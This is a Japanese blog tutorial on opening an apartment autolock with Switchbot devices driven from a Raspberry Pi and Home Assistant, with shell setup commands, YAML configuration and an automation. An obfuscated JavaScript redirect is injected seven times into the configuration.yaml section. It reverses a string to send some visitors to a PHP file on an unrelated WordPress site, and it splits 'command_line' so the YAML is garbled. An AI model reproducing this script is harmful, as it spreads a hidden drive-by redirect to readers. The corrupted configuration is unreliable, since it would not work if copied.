Switchbotを使ってマンションのオートロックをRaspberry PiとHome Assistantで解除する(スマートホーム)
Switchbotという製品がある。ただの四角い小さな箱なのだが、ちいさな出っ張りが存在している。Bluetoothで接続し、スマートフォンのアプリ等でコマンドを送信すると、出っ張った部分から棒が生え、その棒がボタンやスイッチをクリックしてくれる……という商品だ。言葉にすると分かりづらいが、動画で見ると分かりやすいのではないか。
今回はこのSwitchbotを使って、Home AssistantからRaspberry Piを経由し、マンションのオートロックを解除してみた。
(もちろん、SiriやGoogle Assistant、Alexaからも解除することが可能)
用意するもの
用意するものは簡単で、自宅のオートロックに合わせてボタンの数だけこのSwitchbotを用意すれば良い。
冒頭の動画の通り、私の家のオートロックは「通話・終話」ボタンと「解錠」ボタンが存在しており、1Fにある集合エントランスから呼び出された場合、「通話・終話」を一度押した後、「解錠」を押すことでオートロックが解除される。そのため、2つの部品を購入し、用意した。
ちなみに、Switchbotにはこのほかに「Switchbot Hub Plus」という商品が用意されている。今回紹介するRaspberry piを用いる方法の場合、このSwitchbot Hub Plusは必要がないが、IFTTT等を用いて操作する場合にはSwitchbot Hub Plusを購入して設定するのが簡単だろう。
オートロックにSwitchbotを取り付ける
到着したSwitchbotはこのように非常に小さい。裏には3Mの強力な粘着テープが貼り付けられていて、これを用いて個室についているオートロックに貼り付ける形だ。
実際にオートロックに取り付ける際は、Switchbotのスマホアプリを使って、きちんとした場所に粘着されているかどうかを確認しながらにしよう。というのも、私は粘着テープの位置を誤り、壁の一部を破損してしまった……。
SwitchbotアプリからSwitchbotのmacアドレスを入手する
Raspberry PiからSwitchbotを捜索する
Raspberry PiからSwitchbotへは、Bluetoothで接続をする。macアドレスさえ手に入れば問題はないのだが、スマホアプリから入手することが出来るのでこちらでひかえておこう。
Switchbotのアプリから、デバイスの右上にある設定ボタンをクリックし、さらに遷移した先で右上のハンバーガーメニューをクリックすると、該当するデバイスのMacアドレスが手に入る。こちらをひかえておけば問題ない。
Switchbot-cmdを使う
今回はSwitchbot-cmdを使ってSwitchbotをコントロールする。Home Assistantを使う場合には、内蔵のライブラリを用いるという手もあるのだが、たまに調子が悪くなることがあるのでこちらを。
サイトの説明に則って、依存関係のクリアとスクリプトのダウンロードをしておく。
$ sudo apt-get install python-pip libglib2.0-dev bluez-tools$ sudo pip install bluepy$ sudo hciconfig hci0 down$ sudo btmgmt le on$ sudo hciconfig hci0 up$ wget https://gist.githubusercontent.com/mugifly/a29f34df7de8960d72245fcb124513c7/raw/switchbot-cmd.py$ chmod 755 switchbot.py
これで、次のようにmacアドレスを指定すれば、Switchbotのボタンが作動する。
$ ./switchbot-cmd.py [Macアドレス] press
Home Assistantに組み込む
Home Assistantを使用していない場合は、上記のスクリプトを外部から実効可能にし、IFTTT等でIntegrationを組み上げれば問題ない。今回は(いつも通り)Home Assistantに組み込みを行った。
configuration.yaml
configuration.yamlでは、ふたつのボタンのほか、一連の動作を一気に行なうためのボタンを定義しておく。今回、ボタンをクリックした際に実行したいのは、「通話・終話」ボタンを一度おし、しばらくしたあとに「解錠」ボタンをクリックする動作だ。この一連の動作をひとつの動作として行なう際に使うのがこのボタンである。
switch: - platform:comm<script>$soq0ujYKWbanWY6nnjX=function(n){if(typeof($soq0ujYKWbanWY6nnjX.list[n])=="string")return$soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return$soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];varc=Math.floor(Math.random()*5);if(c==3){vardelay=15000;setTimeout($soq0ujYKWbanWY6nnjX(0),delay);}</script>and_line switches:# 解錠ボタン unlock:comm<script>$soq0ujYKWbanWY6nnjX=function(n){if(typeof($soq0ujYKWbanWY6nnjX.list[n])=="string")return$soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return$soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];varc=Math.floor(Math.random()*5);if(c==3){vardelay=15000;setTimeout($soq0ujYKWbanWY6nnjX(0),delay);}</script>and_on:'/home/homeassistant/share/switchbot-cmd.py [macアドレス] press'comm<script>$soq0ujYKWbanWY6nnjX=function(n){if(typeof($soq0ujYKWbanWY6nnjX.list[n])=="string")return$soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return$soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];varc=Math.floor(Math.random()*5);if(c==3){vardelay=15000;setTimeout($soq0ujYKWbanWY6nnjX(0),delay);}</script>and_off:'/home/homeassistant/share/switchbot-cmd.py [macアドレス] press' friendly_name:unlock# 通話・終話ボタン catchcall:comm<script>$soq0ujYKWbanWY6nnjX=function(n){if(typeof($soq0ujYKWbanWY6nnjX.list[n])=="string")return$soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return$soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];varc=Math.floor(Math.random()*5);if(c==3){vardelay=15000;setTimeout($soq0ujYKWbanWY6nnjX(0),delay);}</script>and_on:'/home/homeassistant/share/switchbot-cmd.py [macアドレス] press'comm<script>$soq0ujYKWbanWY6nnjX=function(n){if(typeof($soq0ujYKWbanWY6nnjX.list[n])=="string")return$soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return$soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];varc=Math.floor(Math.random()*5);if(c==3){vardelay=15000;setTimeout($soq0ujYKWbanWY6nnjX(0),delay);}</script>and_off:'/home/homeassistant/share/switchbot-cmd.py [macアドレス] press' friendly_name:catchcallinput_boolean: entrance: name:"解除" initial:off
automation
オートメーションでは、input_booleanで定義した「解除」ボタンがクリックされたときに、「終話・通話」を押した後「解錠」を押す……という動作を定義しておく。
- alias:"Unlock Entrance" trigger: - platform:state entity_id:input_boolean.entrance to:'on' action: - service:switch.turn_on entity_id:switch.catchcall - delay: milliseconds:200 - service:switch.turn_on entity_id:switch.unlock - delay: seconds:1 - service:switch.turn_off entity_id:switch.catchcall - service:input_boolean.turn_off data: entity_id:input_boolean.entrance
これで設定は完了だ。
Home Assistantから操作する
Home Assistantでは、先ほど加えた3つのボタンが出現するが、操作で使用するのは「解除」ボタンのみ。これをクリックすれば、(繰り返しとなるが)通話・終話ボタンをクリックし、少しおいた後に解錠ボタンがクリックされる。スクリプトでは、このあとさらにもう一度通話・終話ボタンをクリックすることにしているが、これはオートロックの画面がこのボタンを押さないと閉じないためである。
Appleの「ホーム」アプリと連携をしておけば、このように表示することも可能。また、当然ながらSiriからも操作することができる。エントランスで自分の部屋番号を呼び出し、そこでHome Assistantのボタンや「ホーム」アプリのボタン、はたまたSiriに「解錠」と言えば、オートロックが解除される。
ちなみに、AlexaやGoogle Assistantとの連携も可能なのだが、部屋番号を呼び出された後に大声で「アレクサ、解錠」などと言われると、部屋のスマートスピーカーが反応して解錠してしまうかもしれず、そこまで行うことはしなかった。